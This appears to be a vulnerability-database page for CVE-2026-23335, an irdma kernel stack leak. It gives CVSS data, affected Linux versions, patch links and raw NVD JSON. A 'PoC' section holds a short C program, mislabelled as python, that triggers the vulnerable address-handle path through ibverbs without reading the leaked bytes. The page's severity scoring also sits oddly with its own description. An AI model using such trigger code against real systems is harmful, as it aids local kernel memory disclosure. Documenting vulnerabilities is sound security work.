CVE-2026-23335

Description

In the Linux kernel, the following vulnerability has been resolved: RDMA/irdma: Fix kernel stack leak in irdma_create_user_ah() struct irdma_create_ah_resp { // 8 bytes, no padding __u32 ah_id; // offset 0 - SET (uresp.ah_id = ah->sc_ah.ah_info.ah_idx) __u8 rsvd[4]; // offset 4 - NEVER SET <- LEAK }; rsvd[4]: 4 bytes of stack memory leaked unconditionally. Only ah_id is assigned before ib_respond_udata(). The reserved members of the structure were not zeroed.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (具体受影响版本请参考Git提交记录)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <infiniband/verbs.h>

// Conceptual Proof of Concept for CVE-2026-23335
// Requires a system with RDMA/irdma hardware and driver loaded.

int main() {
    struct ibv_context *ctx;
    struct ibv_pd *pd;
    struct ibv_ah *ah;
    struct ibv_ah_attr attr = {0};
    int num_devices;
    struct ibv_device **device_list;

    // 1. Get the list of RDMA devices
    device_list = ibv_get_device_list(&num_devices);
    if (!device_list || num_devices == 0) {
        fprintf(stderr, "No RDMA devices found.\n");
        return 1;
    }

    // 2. Open the first device
    ctx = ibv_open_device(device_list[0]);
    if (!ctx) {
        fprintf(stderr, "Failed to open device.\n");
        return 1;
    }

    // 3. Allocate Protection Domain
    pd = ibv_alloc_pd(ctx);
    if (!pd) {
        fprintf(stderr, "Failed to allocate PD.\n");
        ibv_close_device(ctx);
        return 1;
    }

    // 4. Prepare AH attributes
    // Note: Valid port_num and other attributes depend on hardware configuration
    attr.port_num = 1; 
    attr.is_global = 0;

    // 5. Create Address Handle (AH)
    // This triggers the vulnerable irdma_create_user_ah function
    ah = ibv_create_ah(pd, &attr);
    if (!ah) {
        perror("Failed to create AH");
        // Check errno for details
    } else {
        printf("AH created successfully.\n");
        printf("Kernel stack memory may have been leaked in the response buffer.\n");
        ibv_destroy_ah(ah);
    }

    // Cleanup
    ibv_dealloc_pd(pd);
    ibv_close_device(ctx);
    ibv_free_device_list(device_list);

    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23335
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23335
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23335/
[4] VulDB https://vuldb.com/cve/CVE-2026-23335
[5] https://git.kernel.org/stable/c/14b47c07c69930254f549a17ee245c80a65b1609
[6] https://git.kernel.org/stable/c/1b1fac4c7a3ab7f52e9cfb91e5c91216646ca4d8
[7] https://git.kernel.org/stable/c/1f70df004fdd944653013ccc2e1dfd472a693b46
[8] https://git.kernel.org/stable/c/2fd37450d271d74b3847baed284f9cfdf198c6f8
[9] https://git.kernel.org/stable/c/74586c6da9ea222a61c98394f2fc0a604748438c
[10] https://git.kernel.org/stable/c/c9bd0007c4bdb7806bbd323287e50f9cf467c51a
[11] https://git.kernel.org/stable/c/cfe962216c164fe2b1c1fb6ac925a7413f5abc84

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-23335", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-25T11:16:31.050", "lastModified": "2026-04-23T21:13:06.170", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/irdma: Fix kernel stack leak in irdma_create_user_ah()\n\nstruct irdma_create_ah_resp { // 8 bytes, no padding\n __u32 ah_id; // offset 0 - SET (uresp.ah_id = ah->sc_ah.ah_info.ah_idx)\n __u8 rsvd[4]; // offset 4 - NEVER SET <- LEAK\n};\n\nrsvd[4]: 4 bytes of stack memory leaked unconditionally. Only ah_id is assigned before ib_respond_udata().\n\nThe reserved members of the structure were not zeroed."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nRDMA/irdma: Corrección de fuga de pila del kernel en irdma_create_user_ah()\n\nstruct irdma_create_ah_resp { // 8 bytes, sin relleno\n __u32 ah_id; // desplazamiento 0 - ESTABLECIDO (uresp.ah_id = ah->sc_ah.ah_info.ah_idx)\n __u8 rsvd[4]; // desplazamiento 4 - NUNCA ESTABLECIDO <- FUGA\n};\n\nrsvd[4]: 4 bytes de memoria de pila filtrados incondicionalmente. Solo ah_id se asigna antes de ib_respond_udata().\n\nLos miembros reservados de la estructura no fueron puestos a cero."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.14.1", "versionEndExcluding": "5.15.203", "matchCriteriaId": "6B079407-83B2-4F8B-863E-9DEB27376206"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.167", "matchCriteriaId": "2EDC6BAF-B710-4E26-B6AA-D68922EE7B43"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.77", "matchCriteriaId": "B3D12E00-E42D-4056-B354-BAD4903C03A5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.17", "matchCriteriaId": "A5E006E4-59C7-43C1-9231-62A72219F2BA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.7", "matchCriteriaId": "69245D10-0B71-485E-80C3-A64F077004D3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.14:-:*:*:*:*:*:*", "matchCriteriaId": "6A05198E-F8FA-4517-8D0E-8C95066AED38"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/14b47c07c69930254f549a17ee245c80a65b1609", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/1b1fac4c7a3ab7f52e9cfb91e5c91216646ca4d8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/1f70df004fdd944653013ccc2e1dfd472a693b46", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/ ... (truncated)